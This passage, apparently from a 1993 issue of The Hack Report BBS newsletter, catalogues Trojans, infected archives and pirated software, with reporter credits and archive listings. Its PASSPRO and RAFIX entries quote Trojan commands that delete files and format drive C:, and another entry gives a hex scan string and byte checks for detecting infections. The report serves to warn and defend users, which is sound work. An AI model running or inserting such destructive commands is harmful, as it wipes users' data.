Eugene Woiwod (Eugen_Woiwod@mindlink.bc.ca), and full test results were
later received from Bill Logan of The Pueblo Group (via HW Jeff White).
As a result of this Trojan, McAfee Associates decided to skip version
number 103, using number 104 as the release which followed SCANV102. For
a full text of Bill's test results, see the file SCANV103.RES in the
archive FILETSTS.LZH, found in the archive version of The Hack Report.
Staale Fagerland (staale.fagerland@euronetis.no) reported a file called
CES_402, which claimed to be an antiviral program. However, the archive
contains two files (CES.COM and DONT_!) which are quite suspicious.
Staale ran the CES.COM file through a program called CHK4BOMB and
discovered that it uses ROM BIOS routines for direct disk access. The
file DONT_! contains several messages that relate to corrupting your FAT,
partition table, etc., and the message, "Mate(s), it simply makes sense,
make a backup...".
Ashley Kleynhans (5:7101/55) reports a Trojan called DREAMDEM, which
claims to be a demo of some sort by a computer group. According to
Ashley, the group named in the file descriptions is not responsible for
creating this Trojan. When run, the file displays several messages,
including ones like, "found PC Speaker," "Found porno GIFs," etc., and
finally asks whether or not you have a sound card. Ashley answered Yes
to this question, and received the response, "OH by the way, I trashed
your hard disk about a minute ago."
Ashley immediately did a DIR command on the C: drive and saw no immediate
damage. However, the entire disk was gone after a system reset. Ashley
says this is because the Trojan deletes both your hard disk partition
table and your boot sector. I'm not sure if this is right, but I
wouldn't want to try it out on my system to verify Ashley's findings.
Here is the internal file info:
CHECKANS COM 3585 03-10-93 2:43p
VGADEMO EXE 8892 04-17-93 7:45p
START BAT 17 04-17-93 1:33p
Ian Douglas (5:7102/119) forwarded further information on what appears to
be the same file from a report by Shane Greyvenstein (5:7102/119). This
file, called VGADEM1, apparently managed to delete a lot of Shane's files
before he could stop it: fortunately, it doesn't appear to have trashed
Shane's disk. However, Shane's test revealed that the file was written
using two packages called "IntroMaker v3.0" and "Mod-OBJ," but that the
files are encrypted so that the copyright messages for these two packages
are not visible until after they are decrypted by the host program.
Brent Thomas (1:202/226) says in the FidoNet DIRTY_DOZEN echo that his
system was "taken down" by a file called DRAGON. It claimed to be a
Public Domain VGA and Sound Blaster supported game. No symptoms were
reported, except that he had to reformat his hard drive.
Penny Nebrich (1:369/101) confirms this, saying that the program that was
affected was one called Dragon's Shard. She states that it "created what
looked like infinite subdirectories with binary names of I think it was a
dir name of 8 chars. McAfee's scan and Virucide just got stuck in an
infinite loop. I had to reformat my drive."
Bill Roark (RIME Shareware conference, via HW Richard Steiner) verifies
that there is a legitimate file called Dragon's Shard, available under
the filename DRAGON21. He also states that the real program is not
public domain, but shareware instead.
So, what we have here would seem to be a pair of isolated incidents of
an altered version of a legitimate program. As the documentation Bill
forwarded states, if you feel you have an altered copy of the program,
contact the publishers with your information. They can be reached at:
Bit Brother Software
c/o Michael Ramsey
#2 Winged Foot Way
Littleton CO 80123
Josh Burke (1:138/174) reports, via Charlie Sheridan (1:356/18), Travis
Griggs (1:3807/8), and HW Bob Seaborn, a problem with the file PHYLOX2.
In what might be an isolated incident, Josh says the file claimed to be a
"really cool game, VGA gfx and SB sound." However, the INSTALL program
destroys hard disks.
Bob Seaborn received a copy of this file and forwarded it to me - I in
turn forwarded it to Bill Logan and HW Jeff White for testing. As it
turns out, there is an internal file called SETUP.EXE that is identical,
byte for byte, with the file INSTALL.EXE. Both will trash your hard
drive with amazing speed, according to HW Jeff White. Also, the file
PHYLOX.EXE is flagged as a possible infected file. For a full text of
the test results, see the file PHYLOX.RES in the internal archive
FILETSTS.LZH, found in the archive version of The Hack Report.
Ryan Tucker (1:290/10) forwards a message from a fellow SysOp, Robert
Pedersen, about ASM2PAS. This claims to create Pascal source code from
an .EXE file. However, from text inside the executable, it appears that
this program tries to delete your DOS directory. It also brags about a
certain anti-viral scanner not being able to detect it.
Valid point, that: practically _no_ anti-viral tools detect Trojans,
with the exception of Frisk's F-Prot and one or two others. Even then,
the Trojan detection is not complete. Your best protection against
Trojans is a religiously maintained set of backups, preferably done after
a check for viruses on your hard drive(s).
HW Richard Steiner forwarded a message from the America OnLine GEOWORKS
forum about the file GEOCOMM. The message, from "GW Steve" (a "GeoRep",
according to Richard), came from a user of GeoComm named J. S. James, and
warned that this archive contains a hacked version of the original
GeoComm program. The file claims to be an "update," but it seems to be a
Trojan which will damage your File Allocation Table (FAT). Not a file to
be kept around, it would seem.
HW Bill Lambdin reports on LAW22 (no description), which contains the
following files:
Length Date Time CRC-32 Attr Name
------ ---- ---- -------- ---- ----
22911 02-24-93 14:13 a4b84cc7 --w- ABOUT.COM
13422 02-24-93 14:44 8f0d1e96 --w- INFO.EXE
126 02-24-93 14:50 68c9463a --w- DESC.SDI
------ -------
36459 3
Bill says that ABOUT.COM contains a virus. Scan 102 labels it as BA101,
which is a 160 byte-long .COM file infector. This could be an isolated
incident of an infected legitimate file, so thoroughly check any such
file you find that has the above files in it before you kill it.
Another report from Mr. Lambdin concerns a file that a user in the
Intelec PC-Security conference sent to him, called PCS204 (PC-Sentry
v2.04). Bill's tests show that this copy of the archive contains two
files, INSTALSW.COM and EVERYDAY.COM, that are infected with a
non-resident "companion" virus that utilizes the Mutation Engine. It
also contains the file PCS.EXE, which is infected with a virus created by
a virus-writing group's "Mass Produce Code Generator."
Bill also reports that our old friend, the Power Pump virus, has
resurfaced inside a file called FX2. Here's the archive info:
Length Date Time CRC-32 Attr Name
------ ---- ---- -------- ---- ----
25846 01-01-92 00:00 2635e28a --w- FX2.EXE
1199 01-01-92 00:00 f61885bd --w- FX2.COM
17354 01-01-92 00:00 02eac55c --w- POWER.EXE
1007 01-01-92 00:00 139e1291 --w- FX2.DOC
------ -------
45406 4
The giveaway here is the file POWER.EXE. For a full documentation of the
Power Pump virus, please see the 1992 Full Archive Edition of The Hack
Report (filename HACK92FA), available from most official distribution
sites.
Travis Griggs (1:3807/8) forwarded a report from a local board called The
Forum (phone number 1-318-528-2107) by a user named Susan Pilgreen. The
message referred to a file called BOUNCE, which she said was infected
with the Beeper (Russian Mirror) virus. The file, according to Travis,
claimed to be a game. Travis has now forwarded the file information on
this archive:
Filename Original DateTime modified CRC-32 Attr BTPMGVX
------------ ---------- ----------------- -------- ----------
BOUNCE.COM 4053 80-01-01 00:02:04 35C562AF A--W B 1
BOUNCE.DAT 119101 92-11-20 23:16:10 247712A8 A--W B 0
BOUNCE.DOC 348 92-11-20 23:21:46 B28557FE A--W B 1
------------ ----------
3 files 123502
Geoffrey Liu (1:229/15) reports in the FidoNet WARNINGS echo on a file
called BWE. This claims to provide a "quick and easy way to exit
Windows." Geoffrey forwards this file info and disassembly report from
John Eady (1:229/15, john.eady@canrem.com):
Name Length Mod Date Time CRC
============ ======== ========= ======== ========
LICENSE.TXT 2656 14 Feb 93 22:01:14 46B50814
ORDER.TXT 2335 12 Feb 93 12:00:18 9D1A705E
README.TXT 3565 14 Feb 93 23:08:08 3EA7548E
BWE.EXE 19517 14 Feb 93 23:02:34 F1729CA4
============ ======== ========= ======== ========
*total 4 28073 14 Feb 93 23:08:08
"After debugging part of the virus, the following text appears (encrypted)
in the infected program:
It's time for a math test curtesy of YAM!
And the question is...
What is 00 + 00 =
WRONG!!!! TRY AGAIN!
Admiral Bailey
"This virus is self-encrypting, but does not use any stealth techniques
(as far as I've seen). It doesn't appear to infect the boot record, or
the boot partition record. It does not appear to infect .SYS files, or
.OV? files.
"If you feel you have been infected, examine any EXE or COM files that you
believe are infected. Check the 4th and 5th bytes in a COM file for the
characters "BA". Check the 12th and 13th bytes in a EXE file for the
characters "BA". If you find a file like this, chances are you have been
infected."
Mike Wenthold (1:271/47) found a program under the filename GS2000 which
contained the VCL 3 [Con] Virus. The archive contains the following
files:
Length Date Time CRC Filename
======== ========= ====== ======== ============
1984 22-Dec-91 01:40p 3527B16B GS2000.COM
543 22-Dec-91 01:58p DB83A2C0 GSUNP.DOC
======== ========= ====== ======== ============
2527 2 files.
The compression method (on this ZIP archive) was not included in his
data. According to Dave Lartique (1:3800/22) and Chris Gramer
(1:271/47), the program is an "unprotect" for MicroProse's game Gunship
2000. This appears to be another isolated incident of an infected
legitimate file.
William Gordon (1:369/104) reports BEV105, a file that claims to be a
"Beverly Hills 90210 Adventure Game." This file contains 8 files, but
two seem to be the real culprits: DORINFO.DIR and INSTALL.COM. The
installation renames the DORINFO.DIR file to IDCKILL.EXE and invokes it.
This program asks for some sort of wildcard according to William, then
proceeds to delete everything on your drive that matches that wildcard.
However, it doesn't stop there: it continues on and deletes all .bat,
.fon, .com, .zip, .sys, .ice, .ans, .arj, and .exe files. William also
says the file "comes with the following virii: Bootkill and Genesis."
A copy of this file was sent to Mr. White and Mr. Logan, who were able to
confirm the behaviour that William reported. For the complete results of
their test, see the file BEV105.RES in the FILETSTS.LZH archive, included
in the archive version of The Hack Report.
Another report from Bill concerns a file he located called TAXTIP93.
This archive contains a file called TAXTIP93.DAT, which the executable
file, TAXTIPS.EXE, renames to MOUSE.COM and tries to copy to your DOS and
WINDOWS directory. The new MOUSE.COM is infected with the ADA virus.
Brian Chan (Internet, chanav@sfu.ca) found a file called PASSPRO, which
was described with a very short line ("'Password,' or some other short
word," according to Brian). The archive contained these files:
PASS .PA1
PASS .PA2
PASS .PA3
PASSWORD.COM
Brian looked inside the .com file, which he says looks like a compiled
batch file, and found these strings/commands:
Please Wait While Loading;
It may take in between 30seconds to 5 minutes
To unshrink nessessary files
Please Turn off Screen, and wait for the beep.
If You do not, your screen might not function
the way it should.
Turn Off Screen now, and press the space bar.
/C REN pass.pa1 pa.exe
pass.pa2 /C DEL c:\*.*
pass.pa2 /C DEL c:\dos\*.*
/C REN pa.exe pass.pa1
pass.pa3 FORMAT
c:
/C CLS
As you can see, PASS.PA1 gets renamed to PA.EXE - the file, compressed
with PKLite, is actually Microsoft's MS-DOS ATTRIB.EXE program. PASS.PA2
contains the single letter 'Y', and PASS.PA3 contains the single word
'Yes'. From the looks of things, this turns out to be a multipartite
Trojan that attempts to format (what else?) your hard drive.
Another multipartite Trojan was spotted by James Frazee (1:343/58), under
the filename ADD_IT. It contains these files:
Name of File Size Date
ADD_IT.ARJ 40888 02-11-93
=======================================
ADDIT1 DAT 34283 07-20-91 2:13a
ADD_IT ANS 646 02-11-93 8:31p
ADDIT2 DAT 20634 04-09-91 5:00a
ADDIT DOC 177 02-11-93 7:28p
ADDIT COM 1391 02-11-93 8:14p
ADDIT3 DAT 138 02-11-93 8:13p
THEDRAW PCK 650 02-11-93 8:31p
When run, ADDIT.COM merges the three .DAT files into an .EXE file. The
end result was that the program deleted all of the files in the directory
in which it was run.
John Balkunas (1:107/639) forwards information on GIFCHECK. He reports
that Lance Merlen (1:107/614) received an upload of this file, which,
when checked with McAfee's ViruScan v100, reported over 5 viruses in the
files in the archive. No internal archive data was provided, so it is
hard to say whether or not this is an isolated incident.
Zack Jones (1:151/173) reports a file called GAGS which was seen in the
San Antonio area. The file, described as "Some Christmas practical
jokes," was analyzed by Bill Dirks (1:385/17) and confirmed as a Trojan.
The program grabs control of several interrupt vectors, including the
critical error handler. The only way to stop it once it starts is to hit
the reset button or power down.
When invoked, it displays a countdown from 8 to 0, which corresponds to
drives H through A, in that order. For each found drive, it overwrites
the first 255 sectors with random data from a block of memory. To add
insult to injury, if drives B and A are empty, you are prompted to insert
disks (so that they can be trashed as well).
After this, the Trojan displays the message, including something like,
"the disk was trashed but it's only a joke and they are only kidding."
It then prompts you to reboot, which is rather hard to do unless you have
a bootable "panic disk" floppy on hand - you certainly won't be able to
boot from your HD.
Bill says that if your HD is smaller than 60 megs, you're better off
trying to recover your disk from scratch. Between 60-120 megs, you have
a better chance of recovery via disk utilities: over 120 megs, you
should be able to accomplish a complete recovery if you're careful and
you know what you're doing.
Bill posted the following scan string that can be used to detect this
Trojan - if your scanner can use external strings, be sure to read the
instructions carefully before trying to add this:
9A46027205B003B9FF00BA0000CD26
If your scanner requires a name for the string, Bill suggests using
"AlamoXmasTrojan."
This Trojan report comes from an article in MacWeek magazine, Volume 7,
Number 2, issued January 11, 1993. The article, posted in the FidoNet
VIRUS_INFO echo by Robert Cummings, states that a program called CPro
1.41.sea, claiming to be a new version of Compact Pro (a Macintosh
shareware compression utility), will reformat any floppy in drive 1 and
tries to reformat the user's start-up hard drive when launched.
The file can be identified by a 312K sound resource file called "log
jingle," which is digitized sound from the Ren and Stimpy cartoons.
Other previously reported Trojans:
Filename Claimed use/Actual activity/Reporter(s)
======== ==============================================================
AANSI100 Claims to add Auto-ANSI detect to Telegard BBSs - contains
something called the "Malhavoc Trojan," which displays a verse
from a Toronto band and attacks files/sectors on drives C:
through F:. Reported by HW Todd Clayton and by George Goode
(1:229/15).
ANSISCR VGA BBS ad - contains a self-extracting archive of the Yankee
Doodle and AntiChrist viruses. Can trash hard drives as well
through Trojan behaviour. Reported by Bill Dirks (1:385/17),
and under the filename RUNME by Stephen Furness (1:163/273).
AVENGER Advertised as an "amazing game that supports all kind of sound
cards...." Contains 2 internal password-protected .ZIP format
files, AVENGER2.DAT and AVENGER3.DAT, which are expanded by
the program to the files RUNTIME1.COM (N1 virus) and
RUNTIME2.COM (Anthrax virus). From Reinhardt Mueller, via
HW Bill Lambdin.
BATMAN No claim reported - searches your DOS path and tries to "delete
the executable file that loads WildCat BBSs." Reported by
James Powell (Intelec PC-Security Conf.), via HW Bill Lambdin.
CHROME Possible isolated incident - contains a file, FGDS.COM, which
contains text that says "Skism Rythem Stack Virus-808."
Reported by Richard Meyers and forwarded by Larry Dingethal
(1:273/231).
DBSOUND Possible isolated incident - claimed update of the Drum
Blaster .MOD file player. Deletes all files in the current
directory and all of its subdirectories. From "Khamsin #1
@9168*1", forwarded by HW Ken Whiton and HW Bill Dennison,
from Ken Green of the CentraLink BBS.
DRSLEEP Reported as a "cheap virii (sic)", but actually appears to be
a Trojan: deletes your COMMAND.COM file when run. Reported
by Matt Hargett (1:2430/1532).
GRAFIX Possible isolated incident - contains the file WAIT.COM, which
is a renamed copy of DELDIR.COM, a directory remover and file
deletion tool. Reported by Andreas Reinicke (2:284/402).
LOGIM613 Possible isolated incident - one internal file, MOUSE.COM,
reports as being infected with the VCL virus when checked with
McAfee's ViruScan v95. Reported by Mike Wenthold (1:271/47).
MUVBACK Claimed keyboard utility - actual ANSI bomb that remaps the D
key of your keyboard to invoke DEBUG and create a couple of
Trojans from script files. Reported by Bill Dirks.
OPTIBBS Aimed at RemoteAccess BBS systems - archives your USERS.BBS
list and places it in your download directory. Reported by
HW Nemrod Kedem.
QOUTES Not a misspelling - claimed Christmas quotation generator.
Overwrites the first 128 cylinders of your first HD, requiring
a low level format to overcome the damage (IDE drives may need
to go back to the factory). Reported by Gary Marden
(2:258/27).
QSCAN20 Claimed small virus scanner - when run, identifies itself as
"being a stealth bomber" and attacks your hard drive's FAT.
Reported by Art Mason (1:229/15).
RA111TO2 Claims to upgrade RemoteAccess 1.11 to 2.0 - acts similarly to
the OPTIBBS file reported above. Reported by Peter Janssens
(2:512/1).
RAFIX "Fixes little bugs" in RemoteAccess - program contains the
string "COMMAND /C FORMAT C:" internally. Reported by Sylvain
Simard (1:242/158).
RAMANAGE Claimed USERS.BBS manager for RemoteAccess - yet another
file that makes an archive of this file (MIX1.ARJ or WISE.ARJ)
and places it in a download directory. Reported by Peter
Janssens.
NOTE - Peter Hoek (2:281/506.15) reports a program that does
the same thing, but uses the archive name RUNNING.ARJ to
hold the USERS.BBS file. No name of the Trojan was supplied.
REAPER ANSI bomb - remaps the keyboard to force file deletion and
hard disk formatting - also generates insults. Reported by
Victor Padron (1:3609/14), via Rich Veraa (1:135/907).
REDFOX Batch file which deletes all DOS and system files. Reported
by Mike Wenthold.
ROLEX Possible isolated incident of an infection by the Keypress
[Key] virus. Reported by David Gibbs, via Michael Toth
(1:115/220).
SCOMP Advertised as a compression utility. Passes scans unless you
check data files - loads a file called SCOMP.DAT to create
CASPER.COM, which is apparently the Casper virus. Reported by
Terry Goodman (U'NI Net virus conference), via HW Bill Lambdin.
SBBSFIX Tries to format drive C: - contains two files, SBBSFIX.EXE and
COM_P.OVL. Reported by Clayton Mattatall (1:247/400).
SPEED Claims to "check your PC speed" - actually deletes all files
on drive C:, including directories. Reported by HW Nemrod
Kedem.
TDRAW460 A "modified" copy of a legitimate release of TheDraw v4.60 -
the archive had a ZIP Comment which contained an ANSI bomb, and
an internal file called UFO!.COM would reformat your hard drive
unconditionally. Reported by Matt Glosson, via Michael Toth
(1:115/439.7).
XYPHR2 No claim - contains the Power Pump companion virus (documented
in the 1992 Full Archive of this report). Reported by Mark
Histed (1:268/332).
YPCBR101 A copy of this file, uploaded to Simtel-20 and the oak mirror
on archie.au, contained an infection of the Dark Avenger
virus in the file YAPCBR.EXE. Was supposed to be re-released
as a clean archive. Reported by John Miezitis (Internet,
John.Miezitis@cc.utas.edu.au).
=========================================================================
Pirated Commercial Software
Program Archive Name(s) Reported By
======= =============== ===========
2400 A.D. (game) 2400AD Kevin Brott (Internet,
dp03%ccccs.uucp@pdxgate.cs.pdx.edu)
3-D Pool 3DPOOL Michael Gibbs (via HW Bill
Lambdin)
4DOS v4.02 (reg.) 4DOS402R HW Scott Raymond
4DOSREG
| Airball (game) AIRBALL Michael Gorse (1:101/346)
Alone in the Dark ALONEDEM Mark Mistretta (1:102/1314)
(full game-not a demo)
ArcMaster (registered) AM91REG HW Scott Raymond
AM92REG
Arctic Fox (game, by AFOX from the Meier/Morlan List,
Electronic Arts) conf. by HW Emanuel Levy
and Brendt Hess (1:105/362)
Arkanoid II: Revenge ARKNOID James Crawford (1:202/1809)
of DoH (game)
Atomix (game) ATOMIX_ HW Matt Kracht
A-Train by Maxis ATRAIN1 through Chris Blackwell of Maxis
ATRAIN6, also (zoinks@netcom.com)
A-TRAIN1 through
A-TRAIN6
BannerMania BANMANIA Harold Stein (1:107/236)
Battle Chess CHESS Ron Mahan (1:123/61)
BeetleJuice (game) BEETLE Mark Harris (1:121/99)
BETLEJUC Jason Robertson (1:250/802.2)
BJUICE Alan Hess (1:261/1000)
BJ Bill Blakely
(RIME Shareware echo)
BTLJWC the Hack Squad
(1:124/4007)
Big Bird (game?) BIGBIRD Cindy McVey, via Harold Stein
Budokan: the Martial BUDOKAN Michael Gibbs (Intelec, via
Spirit (game) HW Bill Lambdin)
Caveman Ninja CAVEMAN Dave Lartique (1:3800/22),
ver. by HW Emanuel Levy
Check-It PC CHECKIT HW Bert Bredewoud
Diagnostic Software CHKIT20 HW Bill Lambdin
Cisco Heat (game) CISCO Jason Robertson
Commander Keen Pt. 5 _1KEEN5 Scott Wunsch (1:140/23.1701)
KEEN5E Carson Hanrahan (CompuServe,
71554,2652)
| {COMMO} v5.4 COMO54X Allan Bowhill (1:343/555)
CompuShow GIF Viewer CSHW860B HW Scott Raymond
Copy II PC COPYPC70 Ryan Park (1:283/420)
Cyber Chess C-CHESS Shane Paul, RIME, via HW
Richard Steiner
Darkside (game) DARKSIDE Ralph Busch (1:153/9)
DiskDupe Pro v4.03 DD403PRO Jan Koopmans (2:512/163)
Energizer Bunny Screen ENERGIZR Kurt Jacobson, PC Dynamics,
Saver for Windows Inc., via HW Bill Dennison
F-Prot Professional FP206SF Mikko Hypponen
(mikko.hypponen@compart.fi)
Family Feud (game) FAM-FEUD Harold Stein
FAST! Disk Cache FAST_1V4 Ryan Park (1:283/420), via
v4.03.08 HW Bill Lambdin
| FaxPower FAXPWR Carson Hanrahan (CompuServe,
| 71544,2652)
GEcho Mail Tosser GE_1000K HW Scott Raymond
GE_100CK
GifLite 2.0 (regist.) GL2-ECR HW Scott Raymond
Golden Axe (game) GOLDAXE Harold Stein
| GSZ Protocol Driver GSZ0503R HW Scott Raymond
| (registered) GSZ0529R
| HS/Link Protocol HS121R Don Becker (Internet,
| v1.21 (registered) grendel@jaflrn.linet.org)
HyperWare Speedkit SPKT460R HW Scott Raymond
v4.60 (registered)
Ian Bothams Cricket IBCTDT Vince Sorensen (1:140/121)
Intelcom Modem Test TESTCOM from the Meier/Morlan List,
Utility (dist. with confirmed by Onno Tesink
Intel modems) (RIME, via HW Richard
Steiner)
Intermail Mailer v2.21 IM221U HW Scott Raymond
Jetsons (game) JETSONS Kevin Brott (Internet,
dp03%ccccs.uucp@pdxgate.cs.pdx.edu)
Jill of the Jungle JILL2 Harold Stein
(non-shareware files) JILL3
$JILL2 HW Bert Bredewoud
$JILL3
Killing Cloud (game) CLOUD Mike Wenthold
Kings of the Beach VBALL Jason Robertson
(game)
Life & Death (game) L&D1 Harold Stein
L&D2
List Enhanced LIST8 Richard Dale (1:280/333)
| LISTE18D HW Scott Raymond
MegaMan (game) MEGAMAN HW Emanuel Levy
Microsoft Flight FS Michael Gibbs (Intelec, via
Simulator HW Bill Lambdin)
MS-DOS 6.0 MSDOS6-1 Harold Stein
MSDOS6-2
MSDOS6-3
Oh No, More Lemmings ONMLEMM Larry Dingethal (1:273/231)
(complete-not demo)
Over the Net OTNINC1 Tim Sitzler (1:206/2708)
(volleyball game)
PGA Tour Golf GOLF HW Bill Lambdin
PKLite (registered) PKL15REG HW Scott Raymond
PKZip v2.04c PK204REG HW Scott Raymond
(Registered)
PKZip v2.04c PKZCFG Mark Mistretta (1:102/1314)
Configuration Editor
PKZip v2.04e PK204ERG HW Scott Raymond
(Registered)
PKZip v2.04g PKZ204R HW Bill Dennison
(Registered) PKZ204GR HW Jason Robertson
Populous (game) POPULOUS Harold Stein
The Price is Right PRICE Harold Stein
(game)
Prince of Persia PRINCE Kenneth Darling (2:231/98.67)
Eric Alexander (1:3613/10)
HW Emanuel Levy
PRINCE2A Todd Crawford (1:3616/40),
PRINCE2B via HW Jeff White
PRINCE2C
PrintShop PSHOP Michael Gibbs, Intelec, via
HW Bill Lambdin
Psion Chess 3D-CHESS Matt Farrenkopf (1:105/376)
Pyro! PC DOSPYRO Jay Kendall (1:141/338), via
(Fifth Generation) HW Scott Raymond
Q387 (registered) Q387UTG Michael Toth (1:115/439.7)
QModem Pro QMPRO-1 Mark Mistretta
QMPRO-2
QuickLink II Fax v2.0.2 QLINK1 Carson Hanrahan (CompuServe,
QLINK2 71554,2652)
Rack 'Em (game) RACKEM Ruth Lee (1:106/5352)
Microsoft Ramdrive RAMDRIVE Barry Martin (Intelec, via
HW Bill Lambdin)
Sequencer Plus Pro SPPRO Tom Dunavold (Intelec,
via Larry Dingethal)
Shadow Warriors (game) SHADOWG Mark Mistretta
Sharky's 3D Pool POOL Jason Robertson (1:250/801)
Shez (Registered) SHEZ84R Eric Vanebrick (2:291/712)
SHEZ85R HW Scott Raymond
SHEZ87R
SHEZ88R
SHEZ89R
SideKick 2.0 SK3 Harold Stein
SimCity (by Maxis) SIMCITY1 Peter Kirn, WildNet Shareware
SIMCITY2 conf., via HW Ken Whiton
SIMCITY3
SIM_CITY Kevin Brott (Internet,
dp03%ccccs.uucp@pdxgate.cs.pdx.edu)
SIMCTYSW Scott Wunsch
Smartdrive Disk Cache SMARTDRV Barry Martin (Intelec, via
HW Bill Lambdin)
SMTDRV40 Michael Toth (1:115/220)
Squish 2.1 SQUISH Jason Robertson (1:250/802.2)
(Sundog Software) SQUISH21 Several (ver. by Joe Morlan)
Star Control Vol. 4 STARCON Carson M. Hanrahan
(CompuServe 71554,2652)
Streets on a Disk STREETS Harvey Woien (1:102/752)
Teledisk (files TDISK214 Mark Mistretta
dated after Apr. 1991)
TELE214R Staale Fagerland (Internet,
staale.fagerland@euronetis.no)
TheDraw v4.61 (reg.) TDRW461R HW Scott Raymond
Vegas Casino 2 (game) VEGAS2 The Hack Squad
VOpt Disk Defragmenter VOPT30 The Hack Squad
VPic v6.0 (registered) VPIC60CR HW Scott Raymond
Wheel of Fortune WHEEL Harold Stein
| Where in the USA is CARMEN Carson Hanrahan
Carmen Sandiego? CARMENUS Cindy McVey, via Harold Stein
Where in Time is CARMENT Cindy McVey, via Harold Stein
Carmen Sandiego?
WinWay Resume for WINRES Erez Carmel (CompuServe,
Windows 70523,2574)
World Class Rugby WCRFNTDT Vince Sorensen
ZipMaster (registered) ZM31REG HW Scott Raymond
=========================================================================
?????Questionable Programs?????
This section of The Hack Report is for the "misfits" - in other words,
files that are hacks, hoaxes, Trojans, or pirated, but either do not
quite fit into one of the main sections of the report or require more
explanation than the format of the appropriate section allows. The extra
material presented here is usually included for a good reason, so please
take the time to read at least the new entries quite carefully. Also, if
you have any input on any of the listed files, do not hesitate to send it
in to your Hack Squad.
| The biggest news of the month was the release of Robert Jung's ARJ
| archiver in non-beta form. The legitimate file, ARJ241.EXE, can be
| identified by an ARJ-SECURED envelope. However, making equally big news
| (unfortunately) were several sightings of pirated versions of the
| registered file. These were most often seen as a ZIP file (?) with the
| following internal files:
|
| Length Method Size Ratio Date Time CRC-32 Name
| ------ ------ ----- ----- ---- ---- -------- ----
| 1436 DeflatX 614 58% 06-09-93 16:05 23af995c README
| 223594 DeflatX 222850 1% 06-04-93 09:19 fe351d41 ARJ241.EXE
| 127882 Stored 127882 0% 06-04-93 09:27 54fdf489 ARJUTIL.ARJ
| 55301 DeflatX 54641 2% 06-04-93 09:18 6d4e75fe UNARJ241.EXE
| 244816 Stored 244816 0% 06-10-93 09:23 0abdb4be ARJHLP24.ARJ
| ------ ------ --- -------
| 653029 650803 1% 5
|
| The giveaway here is the ARJUTIL.ARJ file - this contains programs that
| are only available to registered users.
|
| This causes a problem as far as listing this in the .col/.idx files is
| concerned: the person who distributed the pirated version used the same
| filename as the real thing. The only way you're going to be able to tell
| the pirated version from the legitimate one will be to look inside your
| copy of the archive. If you see either the ARJUTIL.ARJ file inside, or
| the files ARJR.EXE or DEARJ.EXE, then you have the pirated copy. Please
| delete it.
| Dotti Rosier (1:114/107) found a message on a local BBS system that might
| be worth reading. The text read as follows:
|
| WARNING: Nobody download PHACS1.EXE and NETWORK1.EXE..They have
| the Yankee Doodle virus that is only detectable by SCANV99....
| please clean these two exe files IMMEDIATELY and in case you
| have run them already, there might b some other files that are
| infected. CLEAN99 will clean them just fine. Sorry for the
| inconvenience but I recently found out that my HD was infected
| and therefore, every file that I compile is infected. Thank you
| for your patience.
|
| I can only assume that these were self extracting archives - no
| descriptions of the files were available.
| Steve Winter (1:153/7070) reported on a file called SUB1_V21. This
| claimed to be a program called SUB, a directory list utility. Steve
| checked out the file prior to running the install program and found no
| anomalies. However, once installed, he says he began to get conflicting
| directory reads, disk full errors, and problems booting. Somehow, his
| boot record had been damaged.
|
| According to his testing, the file passes scans with F-Prot v2.08a and
| does not alert McAfee's VShield v104. He says the archive contains two
| files - INSTALL.EXE and SUB.SPZ, which contains the executable. INSTALL
| creates a subdirectory and extracts files from the SUB.SPZ file.
|
| Steve says he is attempting to get another copy for testing. Until that
| time, I can't say for sure if he was the victim of a system glitch, buggy
| software, or a true Trojan. If anyone out there has this file, please
| contact your local HackWatcher or myself so that we can arrange for
| testing.
| Mark Harris (1:121/26.1) found a pair of archives called DEATH_1 and
| DEATH_2 on a local system. The files were described as a new Apogee game
| called Deathbringer. The archives contained no documentation, and all
| program files were dated 1990 or 1991. When run, the game displayed the
| name "Deathbringer," but gave no company or copyright information. Scans
| by McAfee's ViruScan and Frisk's F-Prot proved negative.
|
| Mark has provided additional information that adds to the suspicion that
| this is a pirated file. The program begins with the following screen:
|
| Empire, in association with ODE and The Mystery Machine,
| presents
| -=*=- DEATHBRINGER -=*=-
| Select Vidoe Mode:
|
| 1) VGA 16 color
| 2) EGA 16 color
| 3) Tandy 4 color
| 4) CGA 4 color
| 5) Tandy 16 color
|
| Roland, Adlib and Tandy music supported
| (Playing now, if found, M to toggle on/off)
| J to select Joystick, K for keyboard
| = to speed up, - to slow down game (fast PCs)
|
| THOSE WHO LABOURED:
| John Wood...................Atari ST, Commodore Amiga, Design
| Kevin Ayre.....................................IBM PC, Design
| Colin Swinbourne.....................................Graphics
| Richard Yapp...................................Levels, Design
| Sound Images............................................Music
|
| Deathbringer, Karn and all Deathbringer Characters and the
| distinctive likenesses thereof are Trademarks of Abaddon Duke of
| Hell Group Inc.
|
|
| Mark goes on to say:
|
| There was no documentation in the archive (which I will
| continue to hold on to, in case you need it for any reason)
| giving any playing instructions, no shareware notice or
| registration request, nothing whatsoever to indicate the origin
| of this program except for the above. That's what prompted me
| to write in the first place; it looks to me (especially
| considering the quality of the graphics,) like this is a
| commercial program with as much of the copyright and
| identifying screens hacked out of it as possible.
|
| As an Apogee Tech Support Specialist, I can personally verify that this
| is not a product of Apogee. Mark's opinion is that this is a hack of a
| commercial game: I tend to agree. I would appreciate any information
| that a user of the possible commercial version could forward - please
| help your Hack Squad verify this one.
| Chuck Cypert (1:124/2113) reported in the FidoNet VIRUS_INFO echo that
| the SysOp of the CompUSA BBS in Carrollton, TX had a problem with a file
| called UNIXHAC. The SysOp reports that this file formatted his hard
| drive. No further details were available, as the SysOp had already
| deleted the file. If someone has a copy of this, again, please contact
| one of The HackWatchers or myself.
Harvey Woien (1:102/752) forwarded a report from a user of The
Motherboard (Vern Buerg's BBS), Ted R. Marcus, about a version of the
Microsoft Mouse Driver claiming to be version 9.0. Your Hack Squad has
found a copy of the same archive Ted reported on, and confirms some of
his observations on the file (MOUSE900), quoted here:
1. Microsoft Diagnostics and InfoPlus report this "9.00" driver as
version 8.00. The latest "official" version of which I am aware is
8.20a.
2. The "new" driver is significantly smaller than version 8.20a.
3. The "new" driver supports the undocumented /U switch (which loads
much of the driver into the HMA). Version 8.0 and 8.1 supported this
feature, but Microsoft removed it from version 8.2 (shipped with DOS
6.0). The support for the /U switch suggests that the driver is, in
fact, version 8.0.
4. Examining the MOUSE.COM driver file reveals one instance where the
version number (repeated in the initialization message for each
language the driver supports) is "9.40". That indicates either
uncharacteristic sloppiness on the part of Microsoft -- or, more
likely, sloppiness on the part of a hacker.
Compounding this matter is the fact that this file is a commercial
product of Microsoft (as reported in previous issues of this report) and
is not supposed to be distributed via BBS systems.
